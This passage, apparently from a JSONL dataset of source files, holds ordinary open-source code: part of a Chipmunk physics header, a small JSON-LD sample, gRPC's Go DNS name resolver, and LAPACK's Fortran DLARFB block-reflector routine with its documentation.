a custom callback to invoke the wildcard callback for the second collision type, you must call this function explicitly.\nCP_EXPORT void cpArbiterCallWildcardSeparateB(cpArbiter *arb, cpSpace *space);\n\n/// @}\n"} -{"text": "[\n {\n \"@type\": [\"http://example/Foo\"],\n \"http://example/bar\": [{\n \"http://example/baz\": [{\"@id\": \"http://example/buzz\"}]\n }]\n }\n]"} -{"text": "/*\n *\n * Copyright 2017 gRPC authors.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\npackage naming\n\nimport (\n\t\"context\"\n\t\"errors\"\n\t\"fmt\"\n\t\"net\"\n\t\"strconv\"\n\t\"time\"\n\n\t\"google.golang.org/grpc/grpclog\"\n)\n\nconst (\n\tdefaultPort = \"443\"\n\tdefaultFreq = time.Minute * 30\n)\n\nvar (\n\terrMissingAddr = errors.New(\"missing address\")\n\terrWatcherClose = errors.New(\"watcher has been closed\")\n\n\tlookupHost = net.DefaultResolver.LookupHost\n\tlookupSRV = net.DefaultResolver.LookupSRV\n)\n\n// NewDNSResolverWithFreq creates a DNS Resolver that can resolve DNS names, and\n// create watchers that poll the DNS server using the frequency set by freq.\nfunc NewDNSResolverWithFreq(freq time.Duration) (Resolver, error) {\n\treturn &dnsResolver{freq: freq}, nil\n}\n\n// NewDNSResolver creates a DNS Resolver that can resolve DNS names, and create\n// watchers that poll the DNS server using the default frequency defined by defaultFreq.\nfunc NewDNSResolver() (Resolver, error) {\n\treturn NewDNSResolverWithFreq(defaultFreq)\n}\n\n// dnsResolver handles name resolution for names following the DNS scheme\ntype dnsResolver struct {\n\t// frequency of polling the DNS server that the watchers created by this resolver will use.\n\tfreq time.Duration\n}\n\n// formatIP returns ok = false if addr is not a valid textual representation of an IP address.\n// If addr is an IPv4 address, return the addr and ok = true.\n// If addr is an IPv6 address, return the addr enclosed in square brackets and ok = true.\nfunc formatIP(addr string) (addrIP string, ok bool) {\n\tip := net.ParseIP(addr)\n\tif ip == nil {\n\t\treturn \"\", false\n\t}\n\tif ip.To4() != nil {\n\t\treturn addr, true\n\t}\n\treturn \"[\" + addr + \"]\", true\n}\n\n// parseTarget takes the user input target string, returns formatted host and port info.\n// If target doesn't specify a port, set the port to be the defaultPort.\n// If target is in IPv6 format and host-name is enclosed in square brackets, brackets\n// are stripped when setting the host.\n// examples:\n// target: \"www.google.com\" returns host: \"www.google.com\", port: \"443\"\n// target: \"ipv4-host:80\" returns host: \"ipv4-host\", port: \"80\"\n// target: \"[ipv6-host]\" returns host: \"ipv6-host\", port: \"443\"\n// target: \":80\" returns host: \"localhost\", port: \"80\"\n// target: \":\" returns host: \"localhost\", port: \"443\"\nfunc parseTarget(target string) (host, port string, err error) {\n\tif target == \"\" {\n\t\treturn \"\", \"\", errMissingAddr\n\t}\n\n\tif ip := net.ParseIP(target); ip != nil {\n\t\t// target is an IPv4 or IPv6(without brackets) address\n\t\treturn target, defaultPort, nil\n\t}\n\tif host, port, err := net.SplitHostPort(target); err == nil {\n\t\t// target has port, i.e ipv4-host:port, [ipv6-host]:port, host-name:port\n\t\tif host == \"\" {\n\t\t\t// Keep consistent with net.Dial(): If the host is empty, as in \":80\", the local system is assumed.\n\t\t\thost = \"localhost\"\n\t\t}\n\t\tif port == \"\" {\n\t\t\t// If the port field is empty(target ends with colon), e.g. \"[::1]:\", defaultPort is used.\n\t\t\tport = defaultPort\n\t\t}\n\t\treturn host, port, nil\n\t}\n\tif host, port, err := net.SplitHostPort(target + \":\" + defaultPort); err == nil {\n\t\t// target doesn't have port\n\t\treturn host, port, nil\n\t}\n\treturn \"\", \"\", fmt.Errorf(\"invalid target address %v\", target)\n}\n\n// Resolve creates a watcher that watches the name resolution of the target.\nfunc (r *dnsResolver) Resolve(target string) (Watcher, error) {\n\thost, port, err := parseTarget(target)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif net.ParseIP(host) != nil {\n\t\tipWatcher := &ipWatcher{\n\t\t\tupdateChan: make(chan *Update, 1),\n\t\t}\n\t\thost, _ = formatIP(host)\n\t\tipWatcher.updateChan <- &Update{Op: Add, Addr: host + \":\" + port}\n\t\treturn ipWatcher, nil\n\t}\n\n\tctx, cancel := context.WithCancel(context.Background())\n\treturn &dnsWatcher{\n\t\tr: r,\n\t\thost: host,\n\t\tport: port,\n\t\tctx: ctx,\n\t\tcancel: cancel,\n\t\tt: time.NewTimer(0),\n\t}, nil\n}\n\n// dnsWatcher watches for the name resolution update for a specific target\ntype dnsWatcher struct {\n\tr *dnsResolver\n\thost string\n\tport string\n\t// The latest resolved address set\n\tcurAddrs map[string]*Update\n\tctx context.Context\n\tcancel context.CancelFunc\n\tt *time.Timer\n}\n\n// ipWatcher watches for the name resolution update for an IP address.\ntype ipWatcher struct {\n\tupdateChan chan *Update\n}\n\n// Next returns the address resolution Update for the target. For IP address,\n// the resolution is itself, thus polling name server is unnecessary. Therefore,\n// Next() will return an Update the first time it is called, and will be blocked\n// for all following calls as no Update exists until watcher is closed.\nfunc (i *ipWatcher) Next() ([]*Update, error) {\n\tu, ok := <-i.updateChan\n\tif !ok {\n\t\treturn nil, errWatcherClose\n\t}\n\treturn []*Update{u}, nil\n}\n\n// Close closes the ipWatcher.\nfunc (i *ipWatcher) Close() {\n\tclose(i.updateChan)\n}\n\n// AddressType indicates the address type returned by name resolution.\ntype AddressType uint8\n\nconst (\n\t// Backend indicates the server is a backend server.\n\tBackend AddressType = iota\n\t// GRPCLB indicates the server is a grpclb load balancer.\n\tGRPCLB\n)\n\n// AddrMetadataGRPCLB contains the information the name resolver for grpclb should provide. The\n// name resolver used by the grpclb balancer is required to provide this type of metadata in\n// its address updates.\ntype AddrMetadataGRPCLB struct {\n\t// AddrType is the type of server (grpc load balancer or backend).\n\tAddrType AddressType\n\t// ServerName is the name of the grpc load balancer. Used for authentication.\n\tServerName string\n}\n\n// compileUpdate compares the old resolved addresses and newly resolved addresses,\n// and generates an update list\nfunc (w *dnsWatcher) compileUpdate(newAddrs map[string]*Update) []*Update {\n\tvar res []*Update\n\tfor a, u := range w.curAddrs {\n\t\tif _, ok := newAddrs[a]; !ok {\n\t\t\tu.Op = Delete\n\t\t\tres = append(res, u)\n\t\t}\n\t}\n\tfor a, u := range newAddrs {\n\t\tif _, ok := w.curAddrs[a]; !ok {\n\t\t\tres = append(res, u)\n\t\t}\n\t}\n\treturn res\n}\n\nfunc (w *dnsWatcher) lookupSRV() map[string]*Update {\n\tnewAddrs := make(map[string]*Update)\n\t_, srvs, err := lookupSRV(w.ctx, \"grpclb\", \"tcp\", w.host)\n\tif err != nil {\n\t\tgrpclog.Infof(\"grpc: failed dns SRV record lookup due to %v.\\n\", err)\n\t\treturn nil\n\t}\n\tfor _, s := range srvs {\n\t\tlbAddrs, err := lookupHost(w.ctx, s.Target)\n\t\tif err != nil {\n\t\t\tgrpclog.Warningf(\"grpc: failed load balancer address dns lookup due to %v.\\n\", err)\n\t\t\tcontinue\n\t\t}\n\t\tfor _, a := range lbAddrs {\n\t\t\ta, ok := formatIP(a)\n\t\t\tif !ok {\n\t\t\t\tgrpclog.Errorf(\"grpc: failed IP parsing due to %v.\\n\", err)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\taddr := a + \":\" + strconv.Itoa(int(s.Port))\n\t\t\tnewAddrs[addr] = &Update{Addr: addr,\n\t\t\t\tMetadata: AddrMetadataGRPCLB{AddrType: GRPCLB, ServerName: s.Target}}\n\t\t}\n\t}\n\treturn newAddrs\n}\n\nfunc (w *dnsWatcher) lookupHost() map[string]*Update {\n\tnewAddrs := make(map[string]*Update)\n\taddrs, err := lookupHost(w.ctx, w.host)\n\tif err != nil {\n\t\tgrpclog.Warningf(\"grpc: failed dns A record lookup due to %v.\\n\", err)\n\t\treturn nil\n\t}\n\tfor _, a := range addrs {\n\t\ta, ok := formatIP(a)\n\t\tif !ok {\n\t\t\tgrpclog.Errorf(\"grpc: failed IP parsing due to %v.\\n\", err)\n\t\t\tcontinue\n\t\t}\n\t\taddr := a + \":\" + w.port\n\t\tnewAddrs[addr] = &Update{Addr: addr}\n\t}\n\treturn newAddrs\n}\n\nfunc (w *dnsWatcher) lookup() []*Update {\n\tnewAddrs := w.lookupSRV()\n\tif newAddrs == nil {\n\t\t// If failed to get any balancer address (either no corresponding SRV for the\n\t\t// target, or caused by failure during resolution/parsing of the balancer target),\n\t\t// return any A record info available.\n\t\tnewAddrs = w.lookupHost()\n\t}\n\tresult := w.compileUpdate(newAddrs)\n\tw.curAddrs = newAddrs\n\treturn result\n}\n\n// Next returns the resolved address update(delta) for the target. If there's no\n// change, it will sleep for 30 mins and try to resolve again after that.\nfunc (w *dnsWatcher) Next() ([]*Update, error) {\n\tfor {\n\t\tselect {\n\t\tcase <-w.ctx.Done():\n\t\t\treturn nil, errWatcherClose\n\t\tcase <-w.t.C:\n\t\t}\n\t\tresult := w.lookup()\n\t\t// Next lookup should happen after an interval defined by w.r.freq.\n\t\tw.t.Reset(w.r.freq)\n\t\tif len(result) > 0 {\n\t\t\treturn result, nil\n\t\t}\n\t}\n}\n\nfunc (w *dnsWatcher) Close() {\n\tw.cancel()\n}\n"} -{"text": "*> \\brief \\b DLARFB applies a block reflector or its transpose to a general rectangular matrix.\n*\n* =========== DOCUMENTATION ===========\n*\n* Online html documentation available at\n* http://www.netlib.org/lapack/explore-html/\n*\n*> \\htmlonly\n*> Download DLARFB + dependencies\n*> \n*> [TGZ]\n*> \n*> [ZIP]\n*> \n*> [TXT]\n*> \\endhtmlonly\n*\n* Definition:\n* ===========\n*\n* SUBROUTINE DLARFB( SIDE, TRANS, DIRECT, STOREV, M, N, K, V, LDV,\n* T, LDT, C, LDC, WORK, LDWORK )\n*\n* .. Scalar Arguments ..\n* CHARACTER DIRECT, SIDE, STOREV, TRANS\n* INTEGER K, LDC, LDT, LDV, LDWORK, M, N\n* ..\n* .. Array Arguments ..\n* DOUBLE PRECISION C( LDC, * ), T( LDT, * ), V( LDV, * ),\n* $ WORK( LDWORK, * )\n* ..\n*\n*\n*> \\par Purpose:\n* =============\n*>\n*> \\verbatim\n*>\n*> DLARFB applies a real block reflector H or its transpose H**T to a\n*> real m by n matrix C, from either the left or the right.\n*> \\endverbatim\n*\n* Arguments:\n* ==========\n*\n*> \\param[in] SIDE\n*> \\verbatim\n*> SIDE is CHARACTER*1\n*> = 'L': apply H or H**T from the Left\n*> = 'R': apply H or H**T from the Right\n*> \\endverbatim\n*>\n*> \\param[in] TRANS\n*> \\verbatim\n*> TRANS is CHARACTER*1\n*> = 'N': apply H (No transpose)\n*> = 'T': apply H**T (Transpose)\n*> \\endverbatim\n*>\n*> \\param[in] DIRECT\n*> \\verbatim\n*> DIRECT is CHARACTER*1\n*> Indicates how H is formed from a product of elementary\n*> reflectors\n*> = 'F': H = H(1) H(2) . . . H(k) (Forward)\n*> = 'B': H = H(k) . . . H(2) H(1) (Backward)\n*> \\endverbatim\n*>\n*> \\param[in] STOREV\n*> \\verbatim\n*> STOREV is CHARACTER*1\n*> Indicates how the vectors which define the elementary\n*> reflectors are stored:\n*> = 'C': Columnwise\n*> = 'R': Rowwise\n*> \\endverbatim\n*>\n*> \\param[in] M\n*> \\verbatim\n*> M is INTEGER\n*> The number of rows of the matrix C.\n*> \\endverbatim\n*>\n*> \\param[in] N\n*> \\verbatim\n*> N is INTEGER\n*> The number of columns of the matrix C.\n*> \\endverbatim\n*>\n*> \\param[in] K\n*> \\verbatim\n*> K is INTEGER\n*> The order of the matrix T (= the number of elementary\n*> reflectors whose product defines the block reflector).\n*> If SIDE = 'L', M >= K >= 0;\n*> if SIDE = 'R', N >= K >= 0.\n*> \\endverbatim\n*>\n*> \\param[in] V\n*> \\verbatim\n*> V is DOUBLE PRECISION array, dimension\n*> (LDV,K) if STOREV = 'C'\n*> (LDV,M) if STOREV = 'R' and SIDE = 'L'\n*> (LDV,N) if STOREV = 'R' and SIDE = 'R'\n*> The matrix V. See Further Details.\n*> \\endverbatim\n*>\n*> \\param[in] LDV\n*> \\verbatim\n*> LDV is INTEGER\n*> The leading dimension of the array V.\n*> If STOREV = 'C' and SIDE = 'L', LDV >= max(1,M);\n*> if STOREV = 'C' and SIDE = 'R', LDV >= max(1,N);\n*> if STOREV = 'R', LDV >= K.\n*> \\endverbatim\n*>\n*> \\param[in] T\n*> \\verbatim\n*> T is DOUBLE PRECISION array, dimension (LDT,K)\n*> The triangular k by k matrix T in the representation of the\n*> block reflector.\n*> \\endverbatim\n*>\n*> \\param[in] LDT\n*> \\verbatim\n*> LDT is INTEGER\n*> The leading dimension of the array T. LDT >= K.\n*> \\endverbatim\n*>\n*> \\param[in,out] C\n*> \\verbatim\n*> C is DOUBLE PRECISION array, dimension (LDC,N)\n*> On entry, the m by n matrix C.\n*> On exit, C is overwritten by H*C or H**T*C or C*H or C*H**T.\n*> \\endverbatim\n*>\n*> \\param[in] LDC\n*> \\verbatim\n*> LDC is INTEGER\n*> The leading dimension of the array C. LDC >= max(1,M).\n*> \\endverbatim\n*>\n*> \\param[out] WORK\n*> \\verbatim\n*> WORK is DOUBLE PRECISION array, dimension (LDWORK,K)\n*> \\endverbatim\n*>\n*> \\param[in] LDWORK\n*> \\verbatim\n*> LDWORK is INTEGER\n*> The leading dimension of the array WORK.\n*> If SIDE = 'L', LDWORK >= max(1,N);\n*> if SIDE = 'R', LDWORK >= max(1,M).\n*> \\endverbatim\n*\n* Authors:\n* ========\n*\n*> \\author Univ. of Tennessee\n*> \\author Univ. of California Berkeley\n*> \\author Univ. of Colorado Denver\n*> \\author NAG Ltd.\n*\n*> \\date June 2013\n*\n*> \\ingroup doubleOTHERauxiliary\n*\n*> \\par Further Details:\n* =====================\n*>\n*> \\verbatim\n*>\n*> The shape of the matrix V and the storage of the vectors which define\n*> the H(i) is best illustrated by the following example with n = 5 and\n*> k = 3. The elements equal to 1 are not stored; the corresponding\n*> array elements are modified but restored on exit. The rest of the\n*> array is not used.\n*>\n*> DIRECT = 'F' and STOREV = 'C': DIRECT = 'F' and STOREV = 'R':\n*>\n*> V = ( 1 ) V = ( 1 v1 v1 v1 v1 )\n*> ( v1 1 ) ( 1 v2 v2 v2 )\n*> ( v1 v2 1 ) ( 1 v3 v3 )\n*> ( v1 v2 v3 )\n*> ( v1 v2 v3 )\n*>\n*> DIRECT = 'B' and STOREV = 'C': DIRECT = 'B' and STOREV = 'R':\n*>\n*> V = ( v1 v2 v3 ) V = ( v1 v1 1 )\n*> ( v1 v2 v3 ) ( v2 v2 v2 1 )\n*> ( 1 v2 v3 ) ( v3 v3 v3 v3 1 )\n*> ( 1 v3 )\n*> ( 1 )\n*> \\endverbatim\n*>\n* =====================================================================\n SUBROUTINE DLARFB( SIDE, TRANS, DIRECT, STOREV, M, N, K, V, LDV,\n $ T, LDT, C, LDC, WORK, LDWORK )\n*\n* -- LAPACK auxiliary routine (version 3.7.0) --\n* -- LAPACK is a software package provided by Univ. of Tennessee, --\n* -- Univ. of California Berkeley, Univ. of Colorado Denver and NAG Ltd..--\n* June 2013\n*\n* .. Scalar Arguments ..\n CHARACTER DIRECT, SIDE, STOREV, TRANS\n INTEGER K, LDC, LDT, LDV, LDWORK, M, N\n* ..\n* .. Array Arguments ..\n DOUBLE PRECISION C( LDC, * ), T( LDT, * ), V( LDV, * ),\n $ WORK( LDWORK, * )\n* ..\n*\n* =====================================================================\n*\n* .. Parameters ..\n DOUBLE PRECISION ONE\n PARAMETER ( ONE = 1.0D+0 )\n* ..\n* .. Local Scalars ..\n CHARACTER TRANST\n INTEGER I, J\n* ..\n* .. External Functions ..\n LOGICAL LSAME\n EXTERNAL LSAME\n* ..\n* .. External Subroutines ..\n EXTERNAL DCOPY, DGEMM, DTRMM\n* ..\n* .. Executable Statements ..\n*\n* Quick return if possible\n*\n IF( M.LE.0 .OR. N.LE.0 )\n $ RETURN\n*\n IF( LSAME( TRANS, 'N' ) ) THEN\n TRANST = 'T'\n ELSE\n TRANST = 'N'\n END IF\n*\n IF( LSAME( STOREV, 'C' ) ) THEN\n*\n IF( LSAME( DIRECT, 'F' ) ) THEN\n*\n* Let V = ( V1 ) (first K rows)\n* ( V2 )\n* where V1 is unit lower triangular.\n*\n IF( LSAME( SIDE, 'L' ) ) THEN\n*\n* Form H * C or H**T * C where C = ( C1 )\n* ( C2 )\n*\n* W := C**T * V = (C1**T * V1 + C2**T * V2) (stored in WORK)\n*\n* W := C1**T\n*\n DO 10 J = 1, K\n CALL DCOPY( N, C( J, 1 ), LDC, WORK( 1, J ), 1 )\n 10 CONTINUE\n*\n* W := W * V1\n*\n CALL DTRMM( 'Right', 'Lower', 'No transpose', 'Unit', N,\n $ K, ONE, V, LDV, WORK, LDWORK )\n IF( M.GT.K ) THEN\n*\n* W := W + C2**T * V2\n*\n CALL DGEMM( 'Transpose', 'No transpose', N, K, M-K,\n $ ONE, C( K+1, 1 ), LDC, V( K+1, 1 ), LDV,\n $ ONE, WORK, LDWORK )\n END IF\n*\n* W := W * T**T or W * T\n*\n CALL DTRMM( 'Right', 'Upper', TRANST, 'Non-unit', N, K,\n $ ONE, T, LDT, WORK, LDWORK )\n*\n* C := C - V * W**T\n*\n IF( M.GT.K ) THEN\n*\n* C2 := C2 - V2 * W**T\n*\n CALL DGEMM( 'No transpose', 'Transpose', M-K, N, K,\n $ -ONE, V( K+1, 1 ), LDV, WORK, LDWORK, ONE,\n $ C( K+1, 1 ), LDC )\n END IF\n*\n* W := W * V1**T\n*\n CALL DTRMM( 'Right', 'Lower', 'Transpose', 'Unit', N, K,\n $ ONE, V, LDV, WORK, LDWORK )\n*\n* C1 := C1 - W**T\n*\n DO 30 J = 1, K\n DO 20 I = 1, N\n C( J, I ) = C( J, I ) - WORK( I, J )\n 20 CONTINUE\n 30 CONTINUE\n*\n ELSE IF( LSAME( SIDE, 'R' ) ) THEN\n*\n* Form C * H or C * H**T where C = ( C1 C2 )\n*\n* W := C * V = (C1*V1 + C2*V2) (stored in WORK)\n*\n* W := C1\n*\n DO 40 J = 1, K\n CALL DCOPY( M, C( 1, J ), 1, WORK( 1, J ), 1 )\n 40 CONTINUE\n*\n* W := W * V1\n*\n CALL DTRMM( 'Right', 'Lower', 'No transpose', 'Unit', M,\n $ K, ONE, V, LDV, WORK, LDWORK )\n IF( N.GT.K ) THEN\n*\n* W := W + C2 * V2\n*\n CALL DGEMM( 'No transpose', 'No transpose', M, K, N-K,\n $ ONE, C( 1, K+1 ), LDC, V( K+1, 1 ), LDV,\n $ ONE, WORK, LDWORK )\n END IF\n*\n* W := W * T or W * T**T\n*\n CALL DTRMM( 'Right', 'Upper', TRANS, 'Non-unit', M, K,\n $ ONE, T, LDT, WORK, LDWORK )\n*\n* C := C - W * V**T\n*\n IF( N.GT.K ) THEN\n*\n* C2 := C2 - W * V2**T\n*\n CALL DGEMM( 'No transpose', 'Transpose', M, N-K, K,\n $ -ONE, WORK, LDWORK, V( K+1, 1 ), LDV, ONE,\n $ C( 1, K+1 ), LDC )\n END IF\n*\n* W := W * V1**T\n*\n CALL DTRMM( 'Right', 'Lower', 'Transpose', 'Unit', M, K,\n $ ONE, V, LDV, WORK, LDWORK )\n*\n* C1 := C1 - W\n*\n DO 60 J = 1, K\n DO 50 I = 1, M\n C( I, J ) = C( I, J ) - WORK( I, J )\n 50 CONTINUE\n 60 CONTINUE\n END IF\n*\n ELSE\n*\n* Let V = ( V1 )\n* ( V2 ) (last K rows)\n* where V2 is unit upper triangular.\n*\n IF( LSAME( SIDE, 'L' ) ) THEN\n*\n* Form H * C or H**T * C where C = ( C1 )\n* ( C2 )\n*\n* W := C**T * V = (C1**T * V1 + C2**T * V2) (stored in WORK)\n*\n* W := C2**T\n*\n DO 70 J = 1, K\n CALL DCOPY( N, C( M-K+J, 1 ), LDC, WORK( 1, J ), 1 )\n 70 CONTINUE\n*\n* W := W * V2\n*\n CALL DTRMM( 'Right', 'Upper', 'No transpose', 'Unit', N,\n $ K, ONE, V( M-K+1, 1 ), LDV, WORK, LDWORK )\n IF( M.GT.K ) THEN\n*\n* W := W + C1**T * V1\n*\n CALL DGEMM( 'Transpose', 'No transpose', N, K, M-K,\n $ ONE, C, LDC, V, LDV, ONE, WORK, LDWORK )\n END IF\n*\n* W := W * T**T or W * T\n*\n CALL DTRMM( 'Right', 'Lower', TRANST, 'Non-unit', N, K,\n $ ONE, T, LDT, WORK, LDWORK )\n*\n* C := C - V * W**T\n*\n IF( M.GT.K ) THEN\n*\n* C1 := C1 - V1 * W**T\n*\n CALL DGEMM( 'No transpose', 'Transpose', M-K, N, K,\n $ -ONE, V, LDV, WORK, LDWORK, ONE, C, LDC )\n END IF\n*\n* W := W * V2**T\n*\n CALL DTRMM( 'Right', 'Upper', 'Transpose', 'Unit', N, K,\n $ ONE, V( M-K+1, 1 ), LDV, WORK, LDWORK )\n*\n* C2 := C2 - W**T\n*\n DO 90 J = 1, K\n DO 80 I = 1, N\n C( M-K+J, I ) = C( M-K+J, I ) - WORK( I, J )\n 80 CONTINUE\n 90 CONTINUE\n*\n ELSE IF( LSAME( SIDE, 'R' ) ) THEN\n*\n* Form C * H or C * H**T where C = ( C1 C2 )\n*\n* W := C * V = (C1*V1 + C2*V2) (stored in WORK)\n*\n* W := C2\n*\n DO 100 J = 1, K\n CALL DCOPY( M, C( 1, N-K+J ), 1, WORK( 1, J ), 1 )\n 100 CONTINUE\n*\n* W := W * V2\n*\n CALL DTRMM( 'Right', 'Upper', 'No transpose', 'Unit', M,\n $ K, ONE, V( N-K+1, 1 ), LDV, WORK, LDWORK )\n IF( N.GT.K ) THEN\n*\n* W := W + C1 * V1\n*\n CALL DGEMM( 'No transpose', 'No transpose', M, K, N-K,\n $ ONE, C, LDC, V, LDV, ONE, WORK, LDWORK )\n END IF\n*\n* W := W * T or W * T**T\n*\n CALL DTRMM( 'Right', 'Lower', TRANS, 'Non-unit', M, K,\n $ ONE, T, LDT, WORK, LDWORK )\n*\n* C := C - W * V**T\n*\n IF( N.GT.K ) THEN\n*\n* C1 := C1 - W * V1**T\n*\n CALL DGEMM( 'No transpose', 'Transpose', M, N-K, K,\n $ -ONE, WORK, LDWORK, V, LDV, ONE, C, LDC )\n END IF\n*\n* W := W * V2**T\n*\n CALL DTRMM( 'Right', 'Upper', 'Transpose', 'Unit', M, K,\n $ ONE, V( N-K+1, 1 ), LDV, WORK, LDWORK )\n*\n* C2 := C2 - W\n*\n DO 120 J = 1, K\n DO 110 I = 1, M\n C( I, N-K+J ) = C( I, N-K+J ) - WORK( I, J )\n 110 CONTINUE\n 120 CONTINUE\n END IF\n END IF\n*\n ELSE IF( LSAME( STOREV, 'R' ) ) THEN\n*\n IF( LSAME( DIRECT, 'F' ) ) THEN\n*\n* Let V = ( V1 V2 ) (V1: first K columns)\n* where V1 is unit upper triangular.\n*\n IF( LSAME( SIDE, 'L' ) ) THEN\n*\n* Form H * C or H**T * C where C = ( C1 )\n* ( C2 )\n*\n* W := C**T * V**T = (C1**T * V1**T + C2**T * V2**T) (stored in WORK)\n*\n* W := C1**T\n*\n DO 130 J = 1, K\n CALL DCOPY( N, C( J, 1 ), LDC, WORK( 1, J ), 1 )\n 130 CONTINUE\n*\n* W := W * V1**T\n*\n CALL DTRMM( 'Right', 'Upper', 'Transpose', 'Unit', N, K,\n $ ONE, V, LDV, WORK, LDWORK )\n IF( M.GT.K ) THEN\n*\n* W := W + C2**T * V2**T\n*\n CALL DGEMM( 'Transpose', 'Transpose', N, K, M-K, ONE,\n $ C( K+1, 1 ), LDC, V( 1, K+1 ), LDV, ONE,\n $ WORK, LDWORK )\n END IF\n*\n* W := W * T**T or W * T\n*\n CALL DTRMM( 'Right', 'Upper', TRANST, 'Non-unit', N, K,\n $ ONE, T, LDT, WORK, LDWORK )\n*\n* C := C - V**T * W**T\n*\n IF( M.GT.K ) THEN\n*\n* C2 := C2 - V2**T * W**T\n*\n CALL DGEMM( 'Transpose', 'Transpose', M-K, N, K, -ONE,\n $ V( 1, K+1 ), LDV, WORK, LDWORK, ONE,\n $ C( K+1, 1 ), LDC )\n END IF\n*\n* W := W * V1\n*\n CALL DTRMM( 'Right', 'Upper', 'No transpose', 'Unit', N,\n $ K, ONE, V, LDV, WORK, LDWORK )\n*\n* C1 := C1 - W**T\n*\n DO 150 J = 1, K\n DO 140 I = 1, N\n C( J, I ) = C( J, I ) - WORK( I, J )\n 140 CONTINUE\n 150 CONTINUE\n*\n ELSE IF( LSAME( SIDE, 'R' ) ) THEN\n*\n* Form C * H or C * H**T where C = ( C1 C2 )\n*\n* W := C * V**T = (C1*V1**T + C2*V2**T) (stored in WORK)\n*\n* W := C1\n*\n DO 160 J = 1, K\n CALL DCOPY( M, C( 1, J ), 1, WORK( 1, J ), 1 )\n 160 CONTINUE\n*\n* W := W * V1**T\n*\n CALL DTRMM( 'Right', 'Upper', 'Transpose', 'Unit', M, K,\n $ ONE, V, LDV, WORK, LDWORK )\n IF( N.GT.K ) THEN\n*\n* W := W + C2 * V2**T\n*\n CALL DGEMM( 'No transpose', 'Transpose', M, K, N-K,\n $ ONE, C( 1, K+1 ), LDC, V( 1, K+1 ), LDV,\n $ ONE, WORK, LDWORK )\n END IF\n*\n* W := W * T or W * T**T\n*\n CALL DTRMM( 'Right', 'Upper', TRANS, 'Non-unit', M, K,\n $ ONE, T, LDT, WORK, LDWORK )\n*\n* C := C - W * V\n*\n IF( N.GT.K ) THEN\n*\n* C2 := C2 - W * V2\n*\n CALL DGEMM( 'No transpose', 'No transpose', M, N-K, K,\n $ -ONE, WORK, LDWORK, V( 1, K+1 ), LDV, ONE,\n $ C( 1, K+1 ), LDC )\n END IF\n*\n* W := W * V1\n*\n CALL DTRMM( 'Right', 'Upper', 'No transpose', 'Unit', M,\n $ K, ONE, V, LDV, WORK, LDWORK )\n*\n* C1 := C1 - W\n*\n DO 180 J = 1, K\n DO 170 I = 1, M\n C( I, J ) = C( I, J ) - WORK( I, J )\n 170 CONTINUE\n 180 CONTINUE\n*\n END IF\n*\n ELSE\n*\n* Let V = ( V1 V2 ) (V2: last K columns)\n* where V2 is unit lower triangular.\n*\n IF( LSAME( SIDE, 'L' ) ) THEN\n*\n* Form H * C or H**T * C where C = ( C1 )\n* ( C2 )\n*\n* W := C**T * V**T = (C1**T * V1**T + C2**T * V2**T) (stored in WORK)\n*\n* W := C2**T\n*\n DO 190 J = 1, K\n CALL DCOPY( N, C( M-K+J, 1 ), LDC, WORK( 1, J ), 1 )\n 190 CONTINUE\n*\n* W := W * V2**T\n*\n CALL DTRMM( 'Right', 'Lower', 'Transpose', 'Unit', N, K,\n $ ONE, V( 1, M-K+1 ), LDV, WORK, LDWORK )\n IF( M.GT.K ) THEN\n*\n* W := W + C1**T * V1**T\n*\n CALL DGEMM( 'Transpose', 'Transpose', N, K, M-K, ONE,\n $ C, LDC, V, LDV, ONE, WORK, LDWORK )\n END IF\n*\n* W := W * T**T or W * T\n*\n CALL DTRMM( 'Right', 'Lower', TRANST, 'Non-unit', N, K,\n $ ONE, T, LDT, WORK, LDWORK )\n*\n* C := C - V**T * W**T\n*\n IF( M.GT.K ) THEN\n*\n* C1 := C1 - V1**T * W**T\n*\n CALL DGEMM( 'Transpose', 'Transpose', M-K, N, K, -ONE,\n $ V, LDV, WORK, LDWORK, ONE, C, LDC )\n END IF\n*\n* W := W * V2\n*\n CALL DTRMM( 'Right', 'Lower', 'No transpose', 'Unit', N,\n $ K, ONE, V( 1, M-K+1 ), LDV, WORK, LDWORK )\n*\n* C2 := C2 - W**T\n*\n DO 210 J = 1, K\n DO 200 I = 1, N\n C( M-K+J, I ) = C( M-K+J, I ) - WORK( I, J )\n 200 CONTINUE\n 210 CONTINUE\n*\n ELSE IF( LSAME( SIDE, 'R' ) ) THEN\n*\n* Form C * H or C * H' where C = ( C1 C2 )\n*\n* W := C * V**T = (C1*V1**T + C2*V2**T) (stored in WORK)\n*\n* W := C2\n*\n DO 220 J = 1, K\n CALL DCOPY( M, C( 1, N-K+J ), 1, WORK( 1, J ), 1 )\n 220 CONTINUE\n*\n* W := W * V2**T\n*\n CALL DTRMM( 'Right', 'Lower', 'Transpose', 'Unit', M, K,\n $ ONE, V( 1, N-K+1 ), LDV, WORK, LDWORK )\n IF( N.GT.K ) THEN\n*\n* W := W + C1 * V1**T\n*\n CALL DGEMM( 'No transpose', 'Transpose', M, K, N-K,\n $ ONE, C, LDC, V, LDV, ONE, WORK, LDWORK )\n END IF\n*\n* W := W * T or W * T**T\n*\n CALL DTRMM( 'Right', 'Lower', TRANS, 'Non-unit', M, K,\n $ ONE, T, LDT, WORK, LDWORK )\n*\n* C := C - W * V\n*\n IF( N.GT.K ) THEN\n*\n* C1 := C1 - W * V1\n*\n CALL DGEMM( 'No transpose', 'No transpose', M, N-K, K,\n $ -ONE, WORK, LDWORK, V, LDV, ONE, C, LDC )\n END IF\n*\n* W := W * V2\n*\n CALL DTRMM( 'Right', 'Lower', 'No transpose', 'Unit', M,\n $ K, ONE, V( 1, N-K+1 ), LDV, WORK, LDWORK )\n*\n* C1 := C1 - W\n*\n DO 240 J = 1, K\n DO 230 I = 1, M\n C( I, N-K+J ) = C( I, N-K+J ) - WORK( I, J )\n 230 CONTINUE\n 240 CONTINUE\n*\n END IF\n*\n END IF\n END IF\n*\n RETURN\n*\n* End of DLARFB\n*\n END\n"} -{"text": "// Copyright \u00a9 2015 Steve Francia .\n// Copyright 2013 tsuru authors. All rights 